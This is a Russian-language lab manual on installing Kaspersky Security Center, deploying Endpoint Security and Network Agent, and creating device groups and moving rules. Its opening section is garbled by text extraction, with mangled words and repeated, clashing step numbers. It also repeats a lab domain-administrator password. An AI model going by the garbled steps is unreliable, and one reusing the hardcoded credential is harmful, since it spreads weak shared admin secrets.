<ul> <li>59. Beeguite administrator@abc.lab a norne Email addresses of recipients</li> <li>60. Beeguite a none SMTP server address 10.28.0.10</li> <li>61. Beeguite a none SMTP server port 25</li> <li>62. Haxmuite Next</li> <li>63. Haxmuite Next</li> <li>63. Haxmuite Next</li> <li>64. Beeguite a none SMTP server port 25</li> <li>65. Haxmuite Next</li> <li>66. Beeguite a none SMTP server address</li> <li>67. Beeguite a none SMTP server port 25</li> <li>68. Haxmuite Next</li> <li>69. The Ward setup may take as much as 15 minutes.</li> <li>60. Beeguite a none SMTP server port 25</li> <li>61. Beeguite a none SMTP</li> <li>62. Haxmuite Next</li> <li>63. Haxmuite Next</li> <li>64. Haxmuite Next</li> <li>65. Haxmuite Next</li> <li>66. Beeguite a none SMTP</li> <li>67. Haxmuite Next</li> <li>68. Haxmuite Next</li> <li>69. Distant Ward</li> <li>60. Beeguite a none SMTP</li> <li>60. Beeguite a none SMTP</li> <li>61. Beeguite a none SMTP</li> <li>62. Haxmuite Next</li> <li>63. Haxmuite Next</li> <li>64. Hext</li> <li>65. Haxmuite Next</li> <li>65. Haxmuite Next</li> <li>66. Server has completed successfully.</li> <li>67. Wax detxeted descess</li> </ul>			Back			
<ul> <li>administrator@abc.lab a none Email addresses of recipients</li> <li>60. Begurte a none SMTP server address 10.28.0.10</li> <li>61. Begurte a none SMTP server port 25</li> <li>62. Haxmute Next</li> <li>SMTP server address</li> <li>SMTP server address</li> <li>SMTP server address</li> <li>Use EMTP authentication</li> <li>Use rame</li> <li>Pessoord</li> <li>Back</li> <li>Net</li> <li>Send test message</li> <li>63. Haxmutre Next</li> </ul>	59.	Введите	Quick Start Wizard			<b>1</b>
addresses of recipients 60. Введите в none SMTP server address 10.28.0.10 61. Введите в none SMTP server port 25 62. Нажмите Next 54. Нажмите Next 63. Нажмите Next 54. Next 63. Нажмите Next 54. Next 54. Next 55. Couck Start Ward 56. Next 56.		<i>administartor</i> @abc.lab в поле Email	Step 12 The Wizard setup may	take as much as 15 minutes.		
60. Введите в поле SMTP server address 10.28.0.10       Email addresses of recipients         61. Введите в поле SMTP server port 25       SMTP server address 1028.0.10         62. Нажмите Next       SMTP server address 1028.0.10         Vier name       User ESMTP authentication         Password       Show         Servet Extreme       Show         63. Нажмите Next       O Quick Start Wizer         Vier name       Step 13         Next       Next		addresses of recipients	Specify one or more email address	es to receive error notifications		
server address 10.28.0.10 61. Введите в none SMTP server port 25 62. Нажмите Next SMTP server address 0.28.0.10 SMTP server a	60.	Введите в поле SMTP		administrator@abc.lab		
10.28.0.10       Email addresses of recipients         61. BBeguitte B none SMTP server port 25       SMTP server address 1028.010         62. Haxkmuitte Next       SMTP server address 1028.010         SMTP server port 25       SMTP server address 1028.010         G3. Haxkmuitte Next       O Curck Start Wizard         63. Haxkmuitte Next       O Curck Start Wizard         Image: Step 13 The Wizard setup may take as much as 15 minutes.       Network poll         Initial network poll       Initial network poll by Administration Server has completed successfully.		server address				
61. Введите в поле SMTP server port 25		10.28.0.10	Email addresses of recipients			
server port 25 62. Нажмите Next SMTP server address 10280.10 SMTP server port 25 Use ESMTP authentication User name Password Send Test message Back Next 63. Нажмите Next Olucit Start Wizerd Step 13 The Wizerd setup may take as much as 15 minutes Network poll Initial network poll by Administration Server has completed successfully. View detected devices	61.	Введите в поле SMTP				
62. Нажмите Next SMTP server address 1028.0.0 SMTP server port 25 Use ESMTP authentication User name Password Send test message Back Next Back Next Set 13 The Wizard setup may take as much as 15 minutes. Network poll Initial network poll by Administration Server has completed successfully. View detected devices		server port 25				
63. Haxmute Next  SMTP server port  Coucick Start Wizard  Coucick	62.	Нажмите <b>Next</b>	SMTP server address	10.28.0.10		
63. Haxmute Next  C Ouick Start Wzard  C Ouick Start Wzard  Step 13  The Wizard setup may take as much as 15 minutes.  Network poll  Initial network poll by Administration Server has completed successfully.  View detected devices			SMTP server port	25		
63. Haxmute Next   Ouick Start Wizard     Step 13   The Wizard setup may take as much as 15 minutes.   Network poll   Initial network poll   Initial network poll   Initial network poll			Use ESMTP authentication			
Password       Show         Send test message       Back Next         Back Next       O Cuick Start Wizard         Step 13 The Wizard setup may take as much as 15 minutes.       Network poll         Initial network poll by Administration Server has completed successfully. View detected devices       View detected devices			User name			
63. Нажмите Next  Send test message  Back Next  C Quick Start Wizard  Step 13 The Wizard setup may take as much as 15 minutes.  Network poll Initial network poll by Administration Server has completed successfully. View detected devices			Pageword		Chow	
63. Нажмите Next Send test message Back Next O Quick Start Wizard Step 13 The Wizard setup may take as much as 15 minutes. Network poll Initial network poll by Administration Server has completed successfully. View detected devices			Password		SHOW	
63. Нажмите Next  O Quick Start Wizard  E Ф  Step 13 The Wizard setup may take as much as 15 minutes.  Network poll Initial network poll by Administration Server has completed successfully. View detected devices			Send test message			
Back   Next     O Quick Start Wizard     Step 13     The Wizard setup may take as much as 15 minutes.     Network poll   Initial network poll by Administration Server has completed successfully.   View detected devices						
63. Haxmute Next O Quick Start Wizard Step 13 The Wizard setup may take as much as 15 minutes. Network poll Initial network poll by Administration Server has completed successfully. View detected devices			Back			
63. Нажмите Next <ul> <li>Quick Start Wizard</li> <li>Step 13   The Wizard setup may take as much as 15 minutes.</li> </ul> <ul> <li>Network poll</li> <li>Initial network poll by Administration Server has completed successfully. <u>View detected devices</u> </li></ul> <ul> <li>Network poll by Administration Server has completed successfully.</li> <li>Network poll by Administration Server has completed successfully.</li> </ul>						
Step 13       The Wizard setup may take as much as 15 minutes.         Network poll         Initial network poll by Administration Server has completed successfully.         View detected devices	63.	Нажмите <b>Next</b>	Quick Start Wizard			<b>P m</b>
Network poll Initial network poll by Administration Server has completed successfully. <u>View detected devices</u>			Step 13 The Wizard setup may take as much as 15 minutes.			
Initial network poll by Administration Server has completed successfully. View detected devices			Network poll			
View detected devices			Initial network poll by Administration Server has completed successfully.			
			View detected devices			

#### 64. Снимите флажок Run Protection Deployment Wizard

65. Нажмите Finish



#### Заключение

Вы установили Kaspersky Security Center, веб-консоль Kaspersky Security Center и добавили плагин для управления Kaspersky Endpoint Security. Выполнили мастер первоначальной настройки: создали задачи и политики по умолчанию, приняли соглашения с KSN, настроили отправку уведомлений администратору и включили авто распространение ключа.

Как устанавливать Kaspersky Endpoint Security и Агент администрирования, рассказывают следующие лабораторные работы.

### Лабораторная работа 2. Как внедрить Kaspersky Endpoint Security

Сценарий. Вам нужно установить Kaspersky Endpoint Security на компьютеры сети. Вы уже установили Сервер администрирования Kaspersky Security Center. Теперь используйте мастер развертывания защиты, чтобы удаленно установить Kaspersky Endpoint Security и Агент администрирования на компьютеры, которые обнаружил Сервер администрирования.

Содержание. В этой лабораторной работе:

- 1. Установите Kaspersky Endpoint Security для Windows на рабочую станцию и сервер администрирования Kaspersky Security Center
- 2. Создайте автономный пакет установки Kaspersky Endpoint Security
- 3. Установите автономный пакет Kaspersky Endpoint Security для Windows на ноутбук
- 4. Изучите результаты развертывания защиты в сети

# Задание А: Установите Kaspersky Endpoint Security для Windows на рабочую станцию и сервер администрирования Kaspersky Security Center

Запустите мастер развертывания защиты и выберите пакет Kaspersky Endpoint Security. Для доступа к компьютерам укажите учетную запись администратора домена *ABC\Administrator* с паролем *Ka5per5Ky*. Остальные настройки оставьте по умолчанию.

Подождите, пока задача установит программы. Если задача попросит перезагрузить компьютеры, перезагрузите их от имени пользователя.

На компьютере **Alex-Desktop** установлен сторонний антивирус ClamWin, что теоретически может осложнить установку. Однако вы сможете убедиться, что деинсталляция стороннего антивируса выполняется автоматически в ходе установки Kaspersky Endpoint Security для Windows.

Ко	мпьютеры <mark>KSC</mark> , <mark>DC, Alex-D</mark>	esktop и Tom-Lapto	<b>р</b> должны быть включены.
			Tom-Laptop Alex-Desktop
3a	дание выполняется на комп	ьютере <b>KSC</b> .	
			KSC
1.	Пройдите на страницу Discovery & Deployment   Deployment &	E III A KASPERSKY SECURITY CENTER	DISCOVERY & DEPLOYMENT / DEPLOYMENT & ASSIGNMENT / INSTALLATION PACKAGES           Downloaded         In progress (1)           Group by: Operating system (change grouping using filted)         5
	Assignment   Installation Packages	▲ MONITORING & REPORTING →	Area to secure Type Name Version
2.	Нажмите на ссылку Kaspersky Endpoint Security for Windows	Image: Devices       >         Image: Devices       > <th>Windows           Workstations         Distribution package         Kaspersky_Endpoint Security for Windows (11.6.0) (English) (Lite encryption)         11.6.0.394</th>	Windows           Workstations         Distribution package         Kaspersky_Endpoint Security for Windows (11.6.0) (English) (Lite encryption)         11.6.0.394
3.	Дождитесь появления кнопки <b>Show EULA</b> и нажмите ее	■       ▲         KASPERSKY       ★         SECURITY CENTER       →         ▲       MONITORING & REPORTING       →         ▲       USERS & ROLES       →         ➡       OPERATIONS       →         ➡       DISCOVERY & DEPLOYMENT       ↓	DISCOVERY & DEPLOYMENT / DEPLOYMENT & ASSIGN Downloaded in progress [1] Group by: Operating system (change grouping using filter) Area to secure Type Name Windows Workstations Distribution package Kaspersky Englocient Security Workstations Distribution package Kaspersky Englocient Security Show EULA

×

- Примите условия пользовательского соглашения и нажмите Accept
- Дождитесь завершения загрузки

License Agreements

You must accept the License Agreements listed below. Please read them, select those to be accepted, and then click the Accept button to accept those License Agreements.

Kaspersky Endpoint Security and Kaspersky Endpoint Agent END USER LICENSE AGREEMENTS; AND Products and Services PRIVACY POLICY

Kaspersky Endpoint Security and Kaspersky Endpoint Agent END USER LICENSE AGREEMENTS

IMPORTANT LEGAL NOTICE TO ALL USERS: CAREFULLY READ THE FOLLOWING LEGAL AGREEMENT BEFORE YOU START USING THE SOFTWARE.

CLICKING THE BUTTON INDICATING YOUR ACCEPTANCE IN THE WINDOW CONTAINING THE LICENSE AGREEMENT, OR BY ENTERING CORRESPONDING SYMBOL(-S), YOU CONFIRM IN A LEGALLY BINDING WAY THAT YOU AS THE ORGANIZATION FOR WHICH THE SOFTWARE IS DOWNLOADED OR ACQUIRED HAVE AUTHORIZED THE NATURAL PERSON ACCEPTING THIS LICENSE AGREEMENT TO ENTER INTO THIS LICENSE AGREEMENT FOR AND ON BEHALF OF YOU. FURTHERMORE, YOU CONSENT TO BE BOUND BY THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT FOR AND ON BEHALF OF YOUR SIGNATURE AND YOU ARE CONSENTING TO BE BOUND BY AND ARE BECOMING A PARTY TO THIS LICENSE AGREEMENT AND AGREE THAT THIS LICENSE AGREEMENT IS ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU. IFYOU DO NOT ACREE TO ALL OF THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT, CANCEL THE INSTALLATION OF THE SOFTWARE AND DO NOT INSTALL THE SOFTWARE.

IF LICENSE CONTRACT OR SIMILAR DOCUMENT ACCOMPANIES SOFTWARE, TERMS OF THE SOFTWARE USE DEFINED IN SUCH DOCUMENT PREVAIL OVER THE CURRENT LICENSE AGREEMENT.

AFTER CLICKING THE ACCEPT BUTTON IN THE WINDOW CONTAINING THE LICENSE AGREEMENT OR AFTER ENTERING CORRESPONDING SYMBOL(-S), YOU HAVE THE RIGHT TO USE THE SOFTWARE IN ACCORDANCE WITH THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.

1. Definitions

1.1. Software means software including any Updates and related materials.

I confirm that I have fully read, understand, and accept the terms and conditions of the following:

The terms and conditions of this EULA

- Privacy Policy describing the handling of data
- Перейдите на страницу Operations | Licensing | Kaspersky licenses
- 7. Нажмите Add
- Нажмите Select key file и выберите файл ключа Kaspersky Endpoint Security
- 9. Отметьте чекбокс Automatically distribute license key to managed devices
- 10. Нажмите Close



Decline



- В боковом меню выберите Devices | Polices & Profiles
- 12. Нажмите на политику Kaspersky Security Center Network Agent
- 13. Перейдите на вкладку Application Settings в раздел Network
- 14. Откройте настройки параметра **Connectivity**
- 15. Измените параметр Synchronization interval (min) на 3

Интервал синхронизации меняется только для лабораторных работ. В реальной жизни мы не рекомендуем его уменьшать

16. В боковом меню выберите Discovery & Deployment | Deployment & Assignment | Protection Deployment Wizard

≡ m ⊄	DEVICES / POLICIES & PROFILES		
	Current path: KSC		
	+ Add 🛛 🔁 Refresh list 💿 Show in group 👘 Copy 🔅 Move	× Delete  © Distribution	<b>ک</b> Search
SECURITY CENTER	Stat >> Policy name	Application	Inherited
E KSC ♪	Kaspersky Endpoint Security for Windows (11.6.0)		
	Kaspersky Endpoint Security for Windows (11.6.0)	Kaspersky Endpoint Security for >>	
▲ MONITORING & REPORTING >	Kaspersky Security Center 13 Network Agent		
DEVICES ~	Kaspersky Security Center 13 Network Agent	Kaspersky Security Center 13 Ne >>	
POLICIES & PROFILES			
aspersky Security Center 13 Network Age	ent		<b>P</b> 🛛
ENERAL EVENT CONFIGURATION	APPLICATION SETTINGS REVISION HISTORY		

ENERAL EVENT CONFIGURATION	APPLICATION SETTINGS REVISION HISTORY	
ottinge		
eungs	Connectivity The Network section displays the connection settings between Network Agent and Administration Server.	Settings
epositories		
oftware updates and vulnerabilities	Connection profiles	Settings
estart management	The Connection profiles section displays profiles used for connection to Administration Server. The connection profile to be applied depends on which network hosts the device.	
indows Desktop Sharing		
anage patches and updates	Connection schedule The Connection schedule section displays the restrictions on the connection settings between Network Agent and Administration	Settings
etwork	Server.	

#### Onnectivity

К

Connect to Administration Server

Synchronization	interval	(min)
-		

- Compress network traffic
- Open Network Agent ports in Microsoft Windows Firewall

3

- Use SSL connection
- Use connection gateway on distribution point (if available) under default connection settings

≡ m 4	OPERATIONS / REPOSITORIES / INSTALLATION PACKAGES	
KASPERSKY	Downloaded In progress (0)	
SECURITY CENTER	Group by: Operating system (change grouping using filter)	≣≣ Filter
▲ MONITORING & REPORTING →	Area to secure Type Name Version Operating system Language Added In use in managed network	Description D
E DEVICES >		
▲ USERS & ROLES >		
© OPERATIONS →		
፼ DISCOVERY & DEPLOYMENT ↓		
UNASSIGNED DEVICES		
DISCOVERY >		
🐼 DEPLOYMENT & ASSIGN 🗸		
PROTECTION DEPLOYMENT WIZARD		
PROTECTION DEPLOYMEN		



27. Не меняйте		Protection Deployment Wizard				
	параметры копирования пакетов	Remote installation task settings				
	на компьютеры, нажмите <b>Next</b>	Task type Remote installation of Kaspersky Endpoint Security for Windows (11.6.0) (English) (Lite encryption)_11.6.0.394				
		Task name				
		Remote installation task				
		The length of the task name in this entry field is limited to 100 characters.				
		Force installation package download				
		<ul> <li>Using Network Agent</li> <li>Using operating system resources through distribution points</li> </ul>				
		✓ Using operating system resources through Administration Server				
		Do not re-install application if it is already installed				
		Assign package installation in Active Directory group policies				
28.	Не меняйте	Protection Deployment Wizard				
	параметры	Select the action that will be performed if the application installation prompts you to restart the operating system:				
	перезагрузки, нажмите	Do not restart the device				
	Next	Restart the device				
		Prompt user for action				
		The application has been successfully installed on the device. Your system must be restarted to complete installation.				
		Message text				
		Repeat prompt every (min)				
		5				
		Restart after (min)				
		30				
		Wait time before forced closure of applications in blocked sessions (min)				
29.	Согласитесь удалять	Protection Deployment Wizard				
		Removing incompatible applications before installation				
	Next	<ul> <li>Uninstall incompatible applications automatically</li> </ul>				
		You cannot install the application on devices protected by another security application or by a firewall. All incompatible applications must be removed	ed			
		Incompatible applications	_			
		360 Anti Virus				
		360 Antivirus Software				
		AEC TrustPort Antivirus 2.8.0.2237				
		AEC TrustPort Personal Firewall 4.0.0.1305				
		ALWIL Avast 5				
		ALWIL Software Avast 4.0				
		ALWIL Software Avast 4.7				
		ALYac 2.1				
		AVG 10.0.1136 Free Edition				

- 30. Соглашайтесь после установки переместить компьютеры в группу Move unassigned devices to group, отметьте Managed devices и нажмите Next
- 31. Чтобы указать имя и пароль администратора для доступа к компьютерам, выберите Account required (Network Agent is not used).
- 32. Добавьте учетную запись: нажмите Add
- Введите логин аbc\administrator, пароль Ka5per5Ky и нажмите OK
- 34. Отметьте опцию Run the task after the Wizard finishes
- 35. Нажмите ОК

#### В боковом меню выберите Devices | Tasks

37. Нажмите на задачу удаленной установки Kaspersky Endpoint Security для Windows: Remote installation task

#### Protection Deployment Wizard

#### Move to list of managed devices

Specify whether devices must be moved to an administration group after Network Agent installation.

- Do not move devices
- Move unassigned devices to group

Managed devices

#### Protection Deployment Wizard

Select accounts to access devices	
<ul> <li>No account required (Network Agent installed)</li> <li>Account required (Network Agent is not used)</li> </ul>	
Add an account with administrator privileges to the devices or p	erform installation through an Active Directory account with administrator privileges.
+ Add 🖉 Edit 🔥 Move up 🗸 Move down 🚿	< Delete
Name	Туре
	No data
Protection Deployment Wizard	Туре
Select accounts to access devices	Local Account ~
No account required (Network Agent installed)     Account required (Network Agent is not used)	Account abc\administrator
Add an account with administrator privileges to the devices or perform installatio	in through an Active Directory : Password
🕂 🕂 🖌 🖉 Edit 🔥 Move up 🗸 Move down 🛛 🗙 Delete	
Name	Туре
	No data

Starting installation The remote installation task has been successfully created and configured. The default run mode of this task is Manually. If you have to run the task on a schedule, go to the Tasks folder and set the task run schedule in the Schedule section of the task pr	<b>P</b> m
The remote installation task has been successfully created and configured. The default run mode of this task is Manually. If you have to run the task on a schedule, go to the Tasks folder and set the task run schedule in the Schedule section of the task pro	
window.	k properties

≡	m 4	DE	VICES / TASKS			
(		Cur	rent path: KSC	o Stop	Delete Capefrech list D Conv	Q Search
SECURI		-+ /	Task name		Application	Task type
📃 KSC	<i>y</i> - >		Kaspersky Endpoint Security for Windows	(11.6.0)		
			Install updates		Kaspersky Endpoint Security for >>	Update
			Kaspersky Security Center 13 Administration	on Server		
E DEVICES	~		Administration Server maintenance		Kaspersky Security Center 13 Ad >>	Administration Server maintenance
POLICIES &	PROFILES		Download updates to the Administration Se	erver repository	Kaspersky Security Center 13 Ad >>	Download updates to the Admin >>
TASKS			Backup of Administration Server data		Kaspersky Security Center 13 Ad >>	Backup of Administration Server data
MANAGED [	DEVICES		Remote installation task		Kaspersky Security Center 13 Ad >>	Install application remotely



### Задание В: Создайте автономный пакет установки Kaspersky Endpoint Security

Откройте список пакетов установки. Выберите пакет Kaspersky Endpoint Security. Запустите мастер создания автономного пакета. Добавьте к установке Агент администрирования и выберите группу, в которую попадут компьютеры с Агентом.

Задание выполняется на компьютере КSC.	
	ksc

- 40. Войдите в систему под учетной записью abc\Administrator с паролем Ka5per5Ky
- 41. Запустите **Web-консоль** администрирования

- 42. Перейдите в узел Discovery & Deployment | Deployment & Assignment | Installation Packages
- 43. Выберите инсталляционный пакет Kaspersky Endpoint Security for Windows
- 44. Кликните по кнопке **Deploy**
- 45. Выберите Using a stand-alone package
- 46. Нажмите Next
- 47. Отметьте Install Network Agent together with this application
- 48. Нажмите Next
- Настройте перемещение в группу: Выберите Move unassigned devices to this group
- 50. Нажмите Select group
- 51. Отметьте Managed devices
- 52. Нажмите **ОК**
- 53. Нажмите Next

≡ m ⊄	DISCOVERY &	DEPLOYMENT / DEPLO	OYMENT & ASSIGNMENT	/ INSTALLATION PAC
	Downloaded	In progress (0)		
KASPERSKY	Dominouded			
SECURITY CENTER	+ Add × Delete	e 🛛 🕫 Refresh 🛛 + Deploy 📑	View the list of stand-alone packages	a Q
	Name	Source	Application	Version
	Exchange Mobile	<u>e Device Server (1</u> >> Kaspersky	Exchange Mobile De	>> 13.0.0.11247
💀 DISCOVERY & DEPLOYMENT 🗸	iOS MDM Server	(13.0.0.11247) Kaspersky	iOS MDM Server	13.0.0.11247
UNASSIGNED DEVICES	Kaspersky Secur	ty Center 13 Net >> Kaspersky	Kaspersky Security C	>> 13.0.0.11247
DISCOVERY >	Kaspersky Endpo Windows (11.6.0 encryption) 11 (	oint Security for Kaspersky (English) (Lite	Kaspersky Endpoint S	>> 11.6.0.394
🐼 DEPLOYMENT & ASSIGN 🗸	encryption/	<u></u>		
MOVING RULES				< Previous 1 Next >
PROTECTION DEPLOYMEN				
QUICK START WIZARD				
CLOUD ENVIRONMENT C				
INSTALLATION PACKAGES				
Protection Deployment	Wizard			
Select the deployn	nent method fo	r the selected installa	ition package	
<ul> <li>Using the remote ins</li> <li>Using a stand-alone</li> </ul>	stallation task package			
Next	phonego			
Next				
Stand-alone Installation Pack	age Creation Wizard			
Select Network Agent ins	tallation package	for combined installation	on	
Install Network Agent tog	ether with this applic	cation		
Name				
Kaspersky Security	Center 13 Network	<u>Agent (13.0.0.11247)</u>		
New				
Chand along lastallation (	) - elve Creatian Mir			
	ackage Creation wil	card		
Move to list of mana	aged devices			
Specify whether devices r	nust be moved to an	administration group after	Network Agent installation.	
<ul> <li>Do not move devices</li> </ul>				
<ul> <li>Move unassigned dev</li> </ul>	rices to this group			
Managed devices				
Select group				
Stand-alone Installation Package	e Creation Wizard			
				> 🗹 Managed devices
Move to list of managed	devices			
Specify whether devices must b     Do not move devices	e moved to an adminis	tration group after Network Ag	ent installation.	
Move unassigned devices to	o this group			
Managed devices				

54. В открывшейся странице отображается путь к установочному файлу
 55. Закройте мастер: нажмите Finish
 Copy the sample link to the newly created stand-alone installation package for publication on an HTML web page Download stand-alone installation package
 Copy the list of stand-alone package
 Copy the sample link to the newly created stand-alone installation package
 Copy the sample link to the newly created stand-alone installation package
 Copy the sample link to the newly created stand-alone installation package
 Copy the sample link to the newly created stand-alone installation package
 Copy the sample link to the newly created stand-alone installation package
 Copy the sample link to stand-alone package

# Задание С: Установите автономный пакет Kaspersky Endpoint Security для Windows на ноутбук

С клиентского компьютера откройте общую папку KLSHARE на Сервере администрирования. Найдите и запустите автономный пакет.



 Подождите, пока установка закончится, и закройте окно с результатами: нажмите Ok

Kasper	rsky Security Center 13 - X
TIT)	Installation completed successfully
	Extracting archive to temporary location
	Installing: Kaspersky Security Center 13 Network Agent (13.0.0.11247)
	O Checking connection to Administration Server
	Installing: Kaspersky Endpoint Security for Windows (11.6.0) (English) (Lite encountion) 11.6.0.304
	ОК

#### Задание D: Изучите результаты развертывания защиты в сети

Изучите результаты задачи установки. Проверьте, что компьютеры попали в группу **Managed Devices**. Проверьте, что на компьютерах установлены Агент администрирования и Kaspersky Endpoint Security.

Задание выполняется на ко	мпьютере <b>KSC</b> .					
		L L L L L L L L L L L L L L L L L L L				
61. Откройте веб-консоль Kaspersky Security Center		MONITORING & REPORTING	G / REPORTS	livery task 🕞 Export re	sport Q Search	<u><u></u></u>
62. В боковом меню выберите <b>Monitoring</b> & Reporting   Reports		Name  Protection status <u>Beport on protection status</u> Report on protection status	Type Report on errors Report on protectio. >>	Scope Protection status Protection status	Description         Creation           This report describe >>         03/           This report provides >>         03/	26/2021 12:02:15 pm ()
63. Нажмите Report on Kaspersky software versions	▲ MONITORING & REPORTING ↓ DASHBOARD REPORTS	Deployment <u>Report on Kaspersky software y</u> >>	Report on Kaspersk >>	Deployment	This report lists the >> 03/	26/2021 12:02:15 pm (
64. Проверьте, что в сети есть три экземпляра Kaspersky Endpoint Security и три экземпляра Агента администрирования — столько же, сколько и компистрирования	Contrapersity sc Contr	the D Export alls isky software versions 113510 PM ent versions of Kaspersky software installe 3	td. This report is generat	ed for all groups.	Kapersiy Endpoint Security for Window	vi 11.60.394 J n farra 11.00.11347 1
компьютеров					Kenneder Frenzik Greder Makered Area	
65. Закройте отчет	24- 22- 18- 14- 12- 00- 04- 02- 00- 04- 02-			Number of devices	Aspensy security Lenter Netron Age	nt 1300.11247; 3
65. Закройте отчет	24 20 10 10 14 12 10 08 04 04 02 00 Search		Version	number	Number of devices	nt 1300.11247.3
65. Закройте отчет	24 25 26 27 27 28 29 29 20 20 20 20 20 20 20 20 20 20 20 20 20	t	Version 1160.	n number	Number of devices	Number of grou
65. Закройте отчет	24- 22- 2- 2- 2- 2- 2- 2- 2- 2- 2- 2- 2- 2	ecurity for Windows	Version 1160. 1300.	n number 394 11247	Number of devices 3 1	Number of grou 1

#### Заключение

Вы установили Kaspersky Endpoint Security и Агент администрирования с помощью мастера удаленной установки и с помощью автономного пакета.

Если на компьютерах есть сторонние антивирусы, инсталлятор удаляет их и просит перезагрузить компьютер.

Если на компьютерах запущен сетевой экран или вы не добавили в задачу учетную запись с правами администратора на компьютере, установка закончится с ошибкой.

### Лабораторная работа 3. Как создать структуру управляемых компьютеров

Сценарий. Вы установили защиту на компьютеры сети и хотите настроить ее оптимальным образом. Предполагая, что настройки для серверов, настольных и мобильных компьютеров будут отличаться, создайте для них группы и поместите туда соответствующие компьютеры. Чтобы не выбирать вручную, какой компьютер должен быть в какой группе, создайте правила перемещения и настройте в них условия на основе операционных систем и сетевых параметров компьютеров.

Содержание. В этой лабораторной работе:

- 1. Создайте группы рабочих станций, мобильных компьютеров и серверов
- 2. Распределите компьютеры по группам с помощью правил

# Задание А: Создайте группы для рабочих станций, мобильных компьютеров и серверов

Создайте подгруппы Servers и Workstations в контейнере Managed Devices. Затем создайте подгруппы Desktops и Laptops в группе Workstations.



5.	Добавьте еще	≡ m ⊄	DEVICES / HIERARCHY OF GROUPS
	одну подгруппу,		+ Add X Delete + Move 2 Refresh list A Import
	Hasobute ee Workstations	KASPERSKY	Administration group
		SECURITY CENTER	Managed devices
6.	Выберите группу	🖽 KSC 🖌 🖌 🖌	Servers
		▲ MONITORING & REPORTING >	Voristations
	HAMINITE <b>auu</b>		♦ Previous 1 Next > 20 ▼ Result 1-1/1 total
		TASKS	
		MANAGED DEVICES	
		MOVING RULES	
		DEVICE SELECTIONS	
		TAGS >	
		HIERARCHY OF GROUPS	
7	D	≡ m 4	DEVICES / HIERARCHY OF GROUPS
1.	ВВЕДИТЕ		
	Desktops		+ Add X Delete   Move  Refresh list
0		KASPERSKY SECURITY CENTER	Administration group
8.	Повторите шаги б		Managed devices
		🖽 KSC 🖌 🖌 🖌	Servers
			▼ Workstations
		MONITORING & REPORTING >	
			Resistors
		DEVICES & PROFILES	Restors     Lactors
		MONITORING PREPORTING	
		MONITORING PREPORTING     POLICIES & PROFILES     TASKS     MANAGED DEVICES	Previous 1 Next > 20      Result 1-1 / 1 total
		MONITORING PREPORTING	Previous 1 Next > 20      Result 1-1/1 total
		MONITORING PREPORTING     POLICIES & PROFILES     TASKS     MANAGED DEVICES     MOVING RULES     DEVICE SELECTIONS	Previous 1 Next > 20      Result 1-1/1 total
		MONITORING PREPORTING     POLICIES & PROFILES     TASKS     MANAGED DEVICES     MOVING RULES     DEVICE SELECTIONS     TAGS     A	Residos     Lactoos     Previous 1 Next > 20 • Result 1-1 / 1 total

#### Задание В: Распределите компьютеры по группам с помощью правил

Откройте список правил в свойствах узла Unassigned devices. Сделайте правило для всех компьютеров, которое работает постоянно и помещает компьютеры в группу Servers. Используйте условие Network agent is running со значением Yes и Operating system version со значениями Windows Server 2016. Оба условия находятся на вкладке Applications.

Создайте аналогичные правила, которые помещают компьютеры в группы **Desktops** и **Laptops**. Вместо условия **Operating system version**, используйте условие **IP Range** на вкладке **Network**. Для настольных компьютеров укажите диапазон **10.28.0.100–10.28.0.199**, а для ноутбуков **10.28.0.200–10.28.0.254**.

Задание выполняется на компьютере и	(SC.			
	KSC			
9. Перейдите на страницу <b>Discovery</b> & Deployment   Doployment &		ISCOVERY & DEPLOYMENT / DE	PLOYMENT & ASSIGNMEN	T / MOVING RULES
Assignment	SECURITY CENTER	Rule name Remote installation task	Status	Rule group
Moving Rules		Move devices to group 'Managed devices' (##0)	after Net >> 💽	Managed devices
10. Нажмите <b>Add</b>				<pre>     Previous 1 Next &gt; </pre>
11. Введите имя правила Se <i>rver</i> s	New rule     CENERAL RULE CONDITIONS			
12. Укажите группу назначения: В выпадающем списке выберите подгруппу <b>managed</b> devices   Servers	Rule name Administration group Apply rule Run once for each device	Servers Servers		~
13. Выберите режим Apply rule continuously	<ul> <li>Run once for each device, the</li> <li>Apply rule continuously</li> <li>Move only devices that do not</li> <li>Enable rule</li> </ul>	en at every Network Agent reinst It belong to an administration gro	allation	

- 14. Примените правило ко всем компьютерам: снимите отметку с параметра Move only devices that do not belong to an administration group
- 15. Включите правило: поставьте отметку возле одноименной опции

- 16. Откройте Rule conditions
- 17. Перейдите на вкладку **Applications**
- Из выпадающего списка выберите опцию, что Сетевой Агент установлен: Yes
- 19. Примените правило к компьютерам с серверными операционными системами: включите параметр Operating system version

Servers					x m 🕄
GENERAL	RULE CONDIT	IONS			
Tags	Network	Applications	Virtual machines	Active Directory	Cloud segments
Network Ag	gent is installed	Yes			~
💽 Opera	ting system vers	ion			
		Ope	rating system		
		Micros	oft Windows Server 200	8	
		Micros	oft Windows Server 200	8 R2	
		Micros	oft Windows Server 201	2	
		Micros	oft Windows Server 201	2 R2	
		Micros	oft Windows Server 201	6	
				Save	Cancel

- 20. Прокрутите список до конца и перейдите на вторую страницу
- 21. Отметьте операционные системы Microsoft Windows Server 2016
- 22. Сохраните правило: нажмите Save
- 23. Создайте правило для настольных компьютеров: нажмите **Add**

≡ m./	\$	DISCOVERY & DEPLOYMEN	IT / DEPLOYMENT & ASSIGN	MENT / MOVING RULES
$\frown$				
111		▲ Move up    Move down	dd X Delete Enforce enabled rule	🗈 Сору
KASPERSKY SECURITY CENTER		Rule name	Status	Rule group
		Remote installation task		Managed devices
▲ MONITORING & REPORTING	>	Move devices to group 'Managed de	evices' (##0) after Net >>	Managed devices
E DEVICES	>	<u>Servers</u>		Servers
LUSERS & ROLES	>			<pre> Previous 1 Next &gt;</pre>
	>			
DISCOVERY & DEPLOYMENT	~			
UNASSIGNED DEVICES				
DISCOVERY	>			
MOVING RULES	~			
MOVING RULES				

- 24. Введите имя правила *Desktops*
- 25. Укажите группу назначения: В выпадающем списке выберите подгруппу Managed devices | Workstations | Desktops

0	Nourulo	
	New rule	
(	GENERAL RULE CONDITIONS	
F	Rule name	Desktops
Å	Administration group	Desktops
1	Apply rule	
(	Run once for each device	
(	Run once for each device, then at	t every Network Agent reinstallation

26. Выберите режим Apply rule continuously

- 27. Примените правило ко всем компьютерам: снимите отметку с параметра Move only devices that do not belong to an administration group
